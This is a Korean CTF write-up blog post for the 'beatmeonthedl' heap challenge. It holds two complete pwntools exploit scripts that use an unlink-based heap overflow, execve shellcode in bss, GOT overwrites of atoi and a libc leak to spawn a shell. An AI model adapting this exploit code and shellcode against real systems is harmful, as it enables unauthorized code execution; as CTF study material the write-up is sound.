728x90

재미있었던 문제!! unlink를 custom 해놨는데 때문에 막힌 unlink취약점을 사용할 수 있었다!!!


bss에 shellcode를 올리고 atoi의 실제주소를 shellcode가 담긴 bss로 바꾼 exploit과 libc_base를 leak하고 atoi를 system으로 덮은후 sh를 입력해 쉘따는 exploit 총 두가지 방법으로 exploit을 했다. heap pointer를 전역변수로 바꿔야 했는데 여기 취약점!! 하고 read를 heap의 크기보다 더 크게 받아서 heap overflow가 일어났다. 이를 이용해 prev_inuse bit를 해제하고, fd와 bk를 전역변수로 가르키게 해서 heap pointer를 바꿨다!!!


libc는 문제에서는 안주어줬다고 해서 leak한후 libc blukat에서 검색해서 가져왔다.


from pwn import *

s = process("./beatmeonthedl")


elf = ELF("./beatmeonthedl")
libc = ELF("./libc")

def login():
    s.recvuntil("Enter username: ")
    s.sendline("mcfly")
    s.recvuntil("Enter Pass: ")
    s.sendline("awesnap")


def req(content):
    s.recvuntil("| ")
    s.sendline("1")
    s.recvuntil("Request text > ")
    s.send(content)


def view():
s.recvuntil("| ")
s.sendline("2")


def delete(index):
s.recvuntil("| ")
s.sendline("3")
    s.recvuntil("choice: ")
    s.sendline(str(index))
    


def change(index,content):
s.recvuntil("| ")
s.sendline("4")
    s.recvuntil("choice: ")
    s.sendline(str(index))
    s.recvuntil("data: ")
    s.send(content)

def quit():
s.recvuntil("| ")
s.sendline("5")


shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

login()
gdb.attach(s)
req("A"*8)
req("B"*8)
req("C"*8)
req("D"*8)

pay = "1"*48
pay += p64(0)
pay += p64(0x42)
pay += p64(0x609E80-0x18)
pay += p64(0x609E80-0x10)
change(0,pay)

delete(1)

pay = "A"*24
pay += p64(elf.bss()+0x10)
pay += p64(elf.got['atoi'])

change(0,pay)


view()
s.recvuntil("1) ")
atoi_libc = u64(s.recv(6)+"\x00\x00")
print "atoi_libc : " + hex(atoi_libc)
libc_main = atoi_libc - libc.symbols['atoi']
one_shot = libc_main + 0xf1147
system = libc_main + libc.symbols['system']
print "system : " + hex(system)
print "libc_main : " + hex(libc_main)
print "one_shot : " + hex(one_shot)

change(0,shell)
sleep(0.1)
change(1,p64(elf.bss()+0x10))


s.interactive()


==  shellcode 사용 ==


from pwn import *

s = process("./beatmeonthedl")


elf = ELF("./beatmeonthedl")
libc = ELF("./libc")

def login():
    s.recvuntil("Enter username: ")
    s.sendline("mcfly")
    s.recvuntil("Enter Pass: ")
    s.sendline("awesnap")


def req(content):
    s.recvuntil("| ")
    s.sendline("1")
    s.recvuntil("Request text > ")
    s.send(content)


def view():
s.recvuntil("| ")
s.sendline("2")


def delete(index):
s.recvuntil("| ")
s.sendline("3")
    s.recvuntil("choice: ")
    s.sendline(str(index))
    


def change(index,content):
s.recvuntil("| ")
s.sendline("4")
    s.recvuntil("choice: ")
    s.sendline(str(index))
    s.recvuntil("data: ")
    s.send(content)

def quit():
s.recvuntil("| ")
s.sendline("5")


shell = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

login()
gdb.attach(s)
req("A"*8)
req("B"*8)
req("C"*8)
req("D"*8)

pay = "1"*48
pay += p64(0)
pay += p64(0x42)
pay += p64(0x609E80-0x18)
pay += p64(0x609E80-0x10)
change(0,pay)

delete(1)

pay = "A"*24
pay += p64(0x609e68)
pay += p64(elf.got['atoi'])

change(0,pay)


view()
s.recvuntil("1) ")
atoi_libc = u64(s.recv(6)+"\x00\x00")
print "atoi_libc : " + hex(atoi_libc)
libc_main = atoi_libc - libc.symbols['atoi']
one_shot = libc_main + 0xf1147
system = libc_main + libc.symbols['system']
print "system : " + hex(system)
print "libc_main : " + hex(libc_main)
print "one_shot : " + hex(one_shot)

pay = p64(system)
change(1,pay)

sleep(0.1)

s.sendline("sh")

s.interactive()

  == atoi를 system으로 덮은 exploit  ==



'PWN > CTF' 카테고리의 다른 글

[HITCON 2016] Babyheap  (0) 2018.11.24
[Codegate_2017] Petshop  (0) 2018.11.17
[RCTF 2017] Rnote  (0) 2018.11.10
[RCTF 2017] Rcalc  (0) 2018.11.10
[RCTF 2015] shaxian  (0) 2018.11.09